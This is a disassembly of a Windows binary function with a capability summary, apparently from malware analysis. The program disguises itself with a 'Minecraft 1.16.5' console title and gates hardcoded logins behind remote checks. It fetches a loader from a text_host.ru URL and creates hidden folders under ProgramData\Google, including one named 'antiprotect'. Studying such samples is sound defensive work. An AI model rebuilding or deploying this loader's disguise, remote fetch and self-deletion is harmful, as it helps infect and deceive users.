Function at 0x1400117b2
Capabilities:
Check internet connectivity via wininet
Create directory
Create http request
Delete file
Download url
Execute command
Read data from internet
Receive data
Self delete
Set console window title
Set registry value
Terminate process

Disassembly:
jmp 0x140022b80
push rbp
push rsi
push rdi
mov eax, 0x3f30
call fcn.140011203
sub rsp, rax
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xe40
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14003f040]
xor rax, rbp
mov qword [rbp + 0x3ef0], rax
mov dword [rbp + 0x3da4], 0
lea rcx, [0x140048107]
call fcn.140011b4f
lea rcx, str.Minecraft_1.16.5
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
xor r8d, r8d
mov edx, 1
lea rcx, str.https:__www.google.ru_
call qword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
je 0x140022c13
mov byte [rbp + 0x3e74], 1
jmp 0x140022c1a
mov byte [rbp + 0x3e74], 0
movzx eax, byte [rbp + 0x3e74]
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
test eax, eax
je 0x140022c31
jmp 0x140022e2b
lea rdx, str.___________________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._____________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035c00]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035d50]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._______________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x25c8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x25f8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1400367c0]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035ea8]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
nop
xor eax, eax
jmp 0x140026704
lea rdx, str.true
lea rcx, [rbp + 0x28]
call fcn.140011500
nop
lea rax, [rbp + 0x2648]
mov qword [rbp + 0x2688], rax
lea rdx, str.https:__text_host.ru_raw_tekh_raboty_loader
mov rcx, qword [rbp + 0x2688]
call fcn.140011500
mov qword [rbp + 0x3e78], rax
mov rdx, qword [rbp + 0x3e78]
lea rcx, [rbp + 0x26a8]
call fcn.1400116e0
mov qword [rbp + 0x3e80], rax
mov rdx, qword [rbp + 0x3e80]
lea rcx, [rbp + 0x28]
call fcn.140011663
mov byte [rbp + 0x2624], al
lea rcx, [rbp + 0x26a8]
call fcn.140011212
movzx eax, byte [rbp + 0x2624]
test eax, eax
je 0x1400230c0
lea rdx, str.___________________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._____________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035c00]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035d50]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._______________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x26e8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x2718]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140036840]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035ea8]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
nop
mov dword [rbp + 0x2744], 0
lea rcx, [rbp + 0x28]
call fcn.140011212
mov eax, dword [rbp + 0x2744]
jmp 0x140026704
xor edx, edx
lea rcx, str.C:ProgramDataGoogle
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor edx, edx
lea rcx, str.C:ProgramDataGooglelaunch
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor edx, edx
lea rcx, str.C:Minecraftgamelogs
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor edx, edx
lea rcx, str.C:ProgramDataGooglejdkconf_security_anti
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor edx, edx
lea rcx, str.C:ProgramDataGooglejdkconf_security_antiprotect
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, str.___________________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._____________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035c00]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035d50]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._______________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.levin
lea rcx, [rbp + 0x70]
call fcn.140011500
nop
lea rdx, str.crack
lea rcx, [rbp + 0x98]
call fcn.140011500
nop
lea rdx, [0x140036958]
lea rcx, [rbp + 0xd8]
call fcn.140011500
nop
lea rdx, str.Gamez999
lea rcx, [rbp + 0x120]
call fcn.140011500
nop
lea rdx, str.Gamez999
lea rcx, [rbp + 0x148]
call fcn.140011500
nop
lea rdx, [0x14003696c]
lea rcx, [rbp + 0x188]
call fcn.140011500
nop
lea rdx, str.Kerkis
lea rcx, [rbp + 0x1d0]
call fcn.140011500
nop
lea rdx, str.308813
lea rcx, [rbp + 0x1f8]
call fcn.140011500
nop
lea rdx, [0x140036980]
lea rcx, [rbp + 0x238]
call fcn.140011500
nop
lea rdx, str.ArtemTargedhudov
lea rcx, [rbp + 0x280]
call fcn.140011500
nop
lea rdx, str.Targedhudov
lea rcx, [rbp + 0x2a8]
call fcn.140011500
nop
lea rdx, [0x1400369b0]
lea rcx, [rbp + 0x2e8]
call fcn.140011500
nop
lea rdx, str.exoswaretop
lea rcx, [rbp + 0x330]
call fcn.140011500
nop
lea rdx, str.vani1304Gamez
lea rcx, [rbp + 0x358]
call fcn.140011500
nop
lea rdx, [0x1400369d8]
lea rcx, [rbp + 0x398]
call fcn.140011500
nop
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
lea rcx, [rbp + 0x3d8]
call fcn.140011b36
nop
lea rcx, [rbp + 0x418]
call fcn.140011b36
nop
lea rdx, [0x140035a25]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035a25]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1400369e0]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [rbp + 0x3d8]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140011041
lea rdx, [0x1400369f0]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
call qword [sym.imp.ucrtbased.dll__getch]
mov byte [rbp + 0x454], al
movsx eax, byte [rbp + 0x454]
cmp eax, 0xd
je 0x14002348b
movsx eax, byte [rbp + 0x454]
cmp eax, 8
jne 0x140023465
lea rcx, [rbp + 0x418]
call fcn.1400112ad
movzx eax, al
test eax, eax
jne 0x140023463
lea rdx, [0x1400369fc]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rcx, [rbp + 0x418]
call fcn.140011992
dec rax
mov rdx, rax
lea rcx, [rbp + 0x418]
call fcn.140011acd
jmp 0x140023486
mov dl, 0x2a
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011870
movzx edx, byte [rbp + 0x454]
lea rcx, [rbp + 0x418]
call fcn.1400115f5
jmp 0x1400233fb
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x3d8]
call fcn.140011663
movzx eax, al
test eax, eax
jne 0x14002353d
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x418]
call fcn.140011663
movzx eax, al
test eax, eax
jne 0x14002353d
lea rax, [rbp + 0x2788]
mov qword [rbp + 0x27c8], rax
lea rdx, str.https:__text_host.ru_raw_podpiska_1
mov rcx, qword [rbp + 0x27c8]
call fcn.140011500
mov qword [rbp + 0x3e78], rax
mov rdx, qword [rbp + 0x3e78]
lea rcx, [rbp + 0x27e8]
call fcn.1400116e0
mov qword [rbp + 0x3e80], rax
mov rax, qword [rbp + 0x3e80]
mov qword [rbp + 0x3e88], rax
mov eax, dword [rbp + 0x3da4]
or eax, 1
mov dword [rbp + 0x3da4], eax
mov rdx, qword [rbp + 0x3e88]
lea rcx, [rbp + 0xd8]
call fcn.140011663
movzx eax, al
test eax, eax
je 0x14002380b
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x3d8]
call fcn.140011663
movzx eax, al
test eax, eax
jne 0x1400235f2
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x418]
call fcn.140011663
movzx eax, al
test eax, eax
jne 0x1400235f2
lea rax, [rbp + 0x2828]
mov qword [rbp + 0x2868], rax
lea rdx, str.https:__text_host.ru_raw_podpiska_2
mov rcx, qword [rbp + 0x2868]
call fcn.140011500
mov qword [rbp + 0x3e90], rax
mov rdx, qword [rbp + 0x3e90]
lea rcx, [rbp + 0x2888]
call fcn.1400116e0
mov qword [rbp + 0x3e98], rax
mov rax, qword [rbp + 0x3e98]
mov qword [rbp + 0x3ea0], rax
mov eax, dword [rbp + 0x3da4]
or eax, 2
mov dword [rbp + 0x3da4], eax
mov rdx, qword [rbp + 0x3ea0]
lea rcx, [rbp + 0x188]
call fcn.140011663
movzx eax, al
test eax, eax
je 0x14002380b
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x3d8]
call fcn.140011663
movzx eax, al
test eax, eax
jne 0x1400236a7
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x418]
call fcn.140011663
movzx eax, al
test eax, eax
jne 0x1400236a7
lea rax, [rbp + 0x28c8]
mov qword [rbp + 0x2908], rax
lea rdx, str.https:__text_host.ru_raw_podpiska_3
mov rcx, qword [rbp + 0x2908]
call fcn.140011500
mov qword [rbp + 0x3ea8], rax
mov rdx, qword [rbp + 0x3ea8]
lea rcx, [rbp + 0x2928]
call fcn.1400116e0
mov qword [rbp + 0x3eb0], rax
mov rax, qword [rbp + 0x3eb0]
mov qword [rbp + 0x3eb8], rax
mov eax, dword [rbp + 0x3da4]
or eax, 4
mov dword [rbp + 0x3da4], eax
mov rdx, qword [rbp + 0x3eb8]
lea rcx, [rbp + 0x238]
call fcn.140011663
movzx eax, al
test eax, eax
je 0x14002380b
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x3d8]
call fcn.140011663
movzx eax, al
test eax, eax
jne 0x14002375c
lea rdx, [rbp + 0x2a8]
lea rcx, [rbp + 0x418]
call fcn.140011663
movzx eax, al
test eax, eax
jne 0x14002375c
lea rax, [rbp + 0x2968]
mov qword [rbp + 0x29a8], rax
lea rdx, str.https:__text_host.ru_raw_podpiska_4
mov rcx, qword [rbp + 0x29a8]
call fcn.140011500
mov qword [rbp + 0x3ec0], rax
mov rdx, qword [rbp + 0x3ec0]
lea rcx, [rbp + 0x29c8]
call fcn.1400116e0
mov qword [rbp + 0x3ec8], rax
mov rax, qword [rbp + 0x3ec8]
mov qword [rbp + 0x3ed0], rax
mov eax, dword [rbp + 0x3da4]
or eax, 8
mov dword [rbp + 0x3da4], eax
mov rdx, qword [rbp + 0x3ed0]
lea rcx, [rbp + 0x2e8]
call fcn.140011663
movzx eax, al
test eax, eax
je 0x14002380b
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x3d8]
call fcn.140011663
movzx eax, al
test eax, eax
jne 0x1400237ff
lea rdx, [rbp + 0x358]
lea rcx, [rbp + 0x418]
call fcn.140011663
movzx eax, al
test eax, eax
jne 0x1400237ff
lea rax, [rbp + 0x2a08]
mov qword [rbp + 0x2a48], rax
lea rdx, str.https:__text_host.ru_raw_podpiska_5
mov rcx, qword [rbp + 0x2a48]
call fcn.140011500
mov qword [rbp + 0x3ed8], rax
mov rdx, qword [rbp + 0x3ed8]
lea rcx, [rbp + 0x2a68]
call fcn.1400116e0
mov qword [rbp + 0x3ee0], rax
mov eax, dword [rbp + 0x3da4]
or eax, 0x10
mov dword [rbp + 0x3da4], eax
mov rdx, qword [rbp + 0x3ee0]
lea rcx, [rbp + 0x398]
call fcn.140011663
movzx eax, al
test eax, eax
je 0x14002380b
mov dword [rbp + 0x3ee8], 1
jmp 0x140023815
mov dword [rbp + 0x3ee8], 0
movzx eax, byte [rbp + 0x3ee8]
mov byte [rbp + 0x2764], al
mov eax, dword [rbp + 0x3da4]
and eax, 0x10
test eax, eax
je 0x140023843
and dword [rbp + 0x3da4], 0xffffffef
lea rcx, [rbp + 0x2a68]
call fcn.140011212
nop
